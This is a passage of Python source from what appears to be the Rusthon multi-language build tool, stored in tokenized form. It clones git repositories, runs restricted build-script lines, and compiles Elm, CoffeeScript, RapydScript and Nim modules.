", "cache", " ", "folder", ":", " ", "'_", "+_", "GIT", "CACHE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "mkdir_", "(_", "GIT", "CACHE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "git", "name_", "=_", "tag_", "._", "split_", "(_", "'/'_", ")_", "[_", "-_", "1_", "]_", "[_", ":_", "-_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "project", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "GIT", "CACHE_", ",_", "git", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rebuild_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "git", "name_", "not_", "in_", "os_", "._", "listdir_", "(_", "GIT", "CACHE_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "cmd_", "=_", "[_", "'", "git", "'_", ",_", "'", "clone", "'_", ",_", "tag_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "cmd_", ",_", "cwd_", "=_", "GIT", "CACHE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'--", "git", "-", "sync", "'_", "in_", "sys_", "._", "argv_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "cmd_", "=_", "[_", "'", "git", "'_", ",_", "'", "pull", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "cmd_", ",_", "cwd_", "=_", "project", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "rebuild_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "rebuild_", "or_", "'--", "force", "-", "rebu", "ild", "-", "dep", "s", "'_", "in_", "sys_", "._", "argv_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "print_", "'", "rebu", "ild", "ing", " ", "git", " ", "repo", ":", " ", "'_", "+_", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "TOD", "O", " ", "restrict", " ", "the", " ", "bash", " ", "synta", "x", " ", "allow", "ed", " ", "here", ",_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "or", " ", "build", " ", "it", " ", "in", " ", "a", " ", "sand", "box", " ", "or", " ", "docker", " ", "container", "._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "line_", "in_", "mod_", "[_", "'", "code", "'_", "]_", "._", "splitlines_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "if_", "not_", "line_", "._", "strip_", "(_", ")_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "is", "\\u", "restrict", "ed", "\\u", "bash", "_", "(_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t_", "raise_", "Syntax", "Error_", "(_", "'", "bash", " ", "build", " ", "script", " ", "synta", "x", " ", "is", " ", "restrict", "ed", ":\\\\", "n", "'_", "+_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t_", "print_", "'>>", "'_", "+_", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "line_", "._", "split_", "(_", ")_", ",_", "cwd_", "=_", "project", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "tag_", "]_", "=_", "mod_", "[_", "'", "code", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "gyp", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "for_", "mod_", "in_", "modules_", "[_", "'", "gyp", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "'", "tag", "'_", "in_", "mod_", "and_", "mod_", "[_", "'", "tag", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "not_", "mod_", "[_", "'", "tag", "'_", "]_", "!=_", "'", "bindi", "ng", ".", "gyp", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "raise_", "Run", "time", "Error_", "(_", "'", "nw", "-", "gyp", " ", "require", "s", " ", "the", " ", "gyp", " ", "file", " ", "is", " ", "named", " ", "`", "bindi", "ng", ".", "gyp", "`'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "'", "bindi", "ng", ".", "gyp", "'_", "]_", "=_", "mod_", "[_", "'", "code", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gyp", "cfg_", "=_", "json_", "._", "loads_", "(_", "mod_", "[_", "'", "code", "'_", "]_", "._", "replace_", "(_", "\"'\"_", ",_", "'\"'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "len", "(", "gyp", "cfg", "['", "target", "s", "'])", " ", ">", " ", "1", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "continue_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "gta", "rget", "_", "in_", "gyp", "cfg_", "[_", "'", "target", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "for_", "gs", "rc_", "in_", "gta", "rget", "_", "[_", "'", "source", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "gyp", "\\u", "builds_", "[_", "gs", "rc_", "]_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gyp", "'_", ":_", "mod_", "[_", "'", "code", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "src", "'_", ":_", "None_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "javascript", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "for_", "mod_", "in_", "modules_", "[_", "'", "javascript", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "'", "tag", "'_", "in_", "mod_", "and_", "mod_", "[_", "'", "tag", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "tagged_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "=_", "mod_", "[_", "'", "code", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'.'_", "in_", "mod_", "[_", "'", "tag", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "=_", "mod_", "[_", "'", "code", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "json", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "for_", "mod_", "in_", "modules_", "[_", "'", "json", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "cache", "d\\u", "json_", "[_", "mod_", "[_", "'", "name", "'_", "]_", "]_", "=_", "mod_", "[_", "'", "code", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "json", "'_", "]_", "._", "append_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "c", "#'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "for_", "mod_", "in_", "modules_", "[_", "'", "c", "#'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "output_", "[_", "'", "c", "#'_", "]_", "._", "append_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "elm", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "for_", "mod_", "in_", "modules_", "[_", "'", "elm", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "tmp", "elm_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "My", "App", ".", "elm", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp", "js_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "elm", "-", "output", ".", "js", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "tmp", "elm_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "'", "elm", "-", "make", "'_", ",_", "tmp", "elm_", ",_", "'--", "output", "'_", ",_", "tmp", "js_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elm", "data_", "=_", "open_", "(_", "tmp", "js_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "=_", "elm", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tagged_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "=_", "elm", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "cof", "fe", "e", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "for_", "mod_", "in_", "modules_", "[_", "'", "cof", "fe", "e", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "tmp", "cof", "f_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "temp", ".", "cof", "fe", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp", "js_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "cof", "fe", "e-", "output", ".", "js", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "tmp", "cof", "f_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "'", "cof", "fe", "e", "'_", ",_", "'--", "compile", "'_", ",_", "'--", "bare", "'_", ",_", "'--", "output", "'_", ",_", "tmp", "js_", ",_", "tmp", "cof", "f_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cof", "fdata", "_", "=_", "open_", "(_", "tmp", "js_", "+_", "'/", "temp", ".", "js", "'_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "=_", "cof", "fdata", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tagged_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "=_", "cof", "fdata", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "rap", "yd", "script", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "for_", "mod_", "in_", "modules_", "[_", "'", "rap", "yd", "script", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "tmp", "rap", "yd", "_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "temp", ".", "rap", "yd", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp", "js_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "rap", "yd", "-", "output", ".", "js", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "tmp", "rap", "yd", "_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "mod_", "[_", "'", "code", "'_", "]_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "[_", "'", "rap", "yd", "script", "'_", ",_", "tmp", "rap", "yd", "_", ",_", "'--", "bare", "'_", ",_", "'--", "output", "'_", ",_", "tmp", "js_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rap", "ydata_", "=_", "open_", "(_", "tmp", "js_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "datafile", "s", "'_", "]_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "=_", "rap", "ydata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tagged_", "[_", "mod_", "[_", "'", "tag", "'_", "]_", "]_", "=_", "rap", "ydata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "nim", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "lib", "dl_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "if", " ", "compile", "\\u", "nim", "\\u", "lib", " ", "is", " ", "Fal", "se", " ", "then", " ", "use", " ", "old", " ", "hack", " ", "to", " ", "compile", " ", "nim", " ", "source", " ", "by", " ", "extracti", "ng", " ", "it", " ", "and", " ", "forcing", " ", "int", "o", " ", "a", " ", "single", " ", "file", "._", "\\u\\u\\uNL\\u\\u\\u_", "compile", "\\u", "nim", "\\u", "lib_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nim", "bin_", "=_", "os_", "._", "path_", "._", "expanduser_", "(_", "'", "~", "/", "Ni", "m", "/", "bin", "/", "nim", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nim", "include_", "=_", "os_", "._", "path_", "._", "expanduser_", "(_", "'", "~", "/", "Ni", "m", "/", "lib", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "nim", "bin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", "=_", "sorted_", "(_", "modules_", "[_", "'", "nim", "'_", "]_", ",_", "key_", "=_", "lambda_", "mod_", ":_", "mod_", "._", "get_", "(_", "'", "index", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mod_", "in_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "mod_", "[_", "'", "tag", "'_", "]_", ":_", "##", " ", "save", " ", "standalone", " ", "nim", " ", "program", ",", " ", "can", " ", "be", " ", "run", " ", "with", " ", "`", "rust", "hon", ".", "py", " ", "my", ".", "md", " ", "--", "run", "=", "myapp", ".", "nim", "`_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "output_", "[_", "'", "nim", "'_", "]_", "._", "append_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "##", " ", "use", " ", "nim", " ", "to", " ", "translat", "e", " ", "to", " ", "C", " ", "and", " ", "build", " ", "late", "r", " ", "as", " ", "static", "lib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "tmpfile_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "rust", "hon", "\\u", "build", ".", "nim", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nim", "src_", "=_", "mod_", "[_", "'", "code", "'_", "]_", "._", "replace_", "(_", "'\\\\", "t", "'_", ",_", "'", " ", " ", "'_", ")_", "##", " ", "nim", " ", "will", " ", "not", " ", "accept", " ", "tabs", ",", " ", "replace", " ", "with", " ", "two", " ", "space", "s", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gen", "\\u", "nim", "\\u", "wrappers_", "(_", "nim", "src_", ",_", "nim", "\\u", "wrappers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "tmpfile_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "nim", "src_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "compile", "\\u", "nim", "\\u", "lib_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "lets", " ", "nim", " ", "compile", " ", "the", " ", "library_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cmd", " ", "=", " ", "[", "nim", "bin", ",", " ", "'", "compile", "',", " ", "'--", "app", ":", "static", "Lib", "',", " ", "'--", "no", "Main", "',", " ", "'--", "header", "']", " ", " ", "##", " ", "static", "lib", " ", "has", " ", "problem", "s", " ", "linking", " ", "with", " ", "dlo", "pen", ",", "etc", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "cmd_", "=_", "[_", "nim", "bin_", ",_", "'", "compile", "'_", ",_", "'--", "app", ":", "lib", "'_", ",_", "'--", "no", "Main", "'_", ",_", "'--", "header", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "cmd_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "nim", "bin_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "compile", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "header", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "no", "Main", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "no", "Link", "ing", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "compile", "On", "ly", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "gen", "Script", "'_", ",_", "##", " ", "broken", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "app", ":", "static", "Lib", "'_", ",_", "##", " ", "Ara", "q", " ", "say", "s", " ", "static", "lib", " ", "and", " ", "no", "Main", " ", "will", " ", "not", " ", "work", " ", "tog", "ether", "._", "\\u\\u\\uNL\\u\\u\\u_", "'--", "dead", "Code", "Eli", "m", ":", "on", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "import", " ", "thread", "pool", "'_", "in_", "nim", "src_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "cmd_", "._", "append_", "(_", "'--", "thread", "s", ":", "on", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "._", "append_", "(_", "'", "rust", "hon", "\\u", "build", ".", "nim", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'-------", "-", " ", "compile", " ", "nim", " ", "program", " ", "-----------", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", " ", "'_", "._", "join_", "(_", "cmd_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "cmd_", ",_", "cwd_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "compile", "\\u", "nim", "\\u", "lib_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "static", "lib", " ", "broken", " ", "in", " ", "nim", "?", " ", "missi", "ng", " ", "dlo", "pen_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "libname", "_", "=_", "'", "rust", "hon", "\\u", "build", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link_", "._", "append_", "(_", "libname", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "output", "['", "c", "']", ".", "append", "({", "'", "source", "':", "mod", "['", "code", "']", ",", " ", "'", "static", "lib", "':", "libname", "+'", ".", "a", "'})", "_", "\\u\\u\\uNL\\u\\u\\u_", "output_", "[_", "'", "c", "'_", "]_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "source", "'_", ":_", "mod_", "[_", "'", "code", "'_", "]_", ",_", "'", "dynami", "clib", "'_", ":_", "libname", "_", "+_", "'.", "so", "'_", ",_", "'", "name", "'_", ":_", "'", "lib", "%", "s", ".", "so", "'_", "%_", "libname", "_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "get", " ", "source", " ", "from", " ", "nim", " ", "cache", " ", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "nim", "cache_", "=_", "os_", "._", "path_", "._", "join_", "(_", "tempfile_", "._", "gettempdir_", "(_", ")_", ",_", "'", "nim", "cache", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nim", "\\u", "stdlib", "_", "=_", "hack", "\\u", "nim", "\\u", "stdlib", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "nim", "cache_", ",_", "'", "stdlib", "\\u", "system", ".", "c", "'_", ")_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "nim", "\\u", "header", " ", "=", " ", "open", "(", "os", ".", "path", ".", "join", "(", "nim", "cache", ",'", "rust", "hon", "\\u", "build", ".", "h", "')", ",", " ", "'", "rb", "')", ".", "read", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "nim", "\\u", "code_", "=_", "hack", "\\u", "nim", "\\u", "code_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "nim", "cache_", ",_", "'", "rust", "hon", "\\u", "build", ".", "c", "'_", ")_", ",_", "'", "rb", "'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "gets", " ", "compile", "d", " ", "below_", "\\u\\u\\uNL\\u\\u\\u_", "cfg_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dynami", "c", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "-", "dirs", "'_", ":_", "[_", "nim", "cache_", ",_", "nim", "include_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#'", "build", "-", "dirs", "':", "[", "nim", "cache", "],", " ", " ", "##", " ", "not", " ", "working", "_", "\\u\\u\\uNL\\u\\u\\u_", "'", "index", "'_", ":_", "mod_", "[_", "'", "index", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "code", "'_", ":_", "'\\\\", "n", "'_", "._", "join_", "(_", "[_", "nim", "\\u", "stdlib", "_", ",_", "nim", "\\u", "code_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#'", "code", "'", " ", ":", " ", "header_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "modules_", "[_", "'", "c", "'_", "]_", "._", "append_", "(_", "cfg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "print_", "(_", "'", "WARN", "ING", ":", " ", "can", " ", "not", " ", "find", " ", "nim", " ", "compiler", 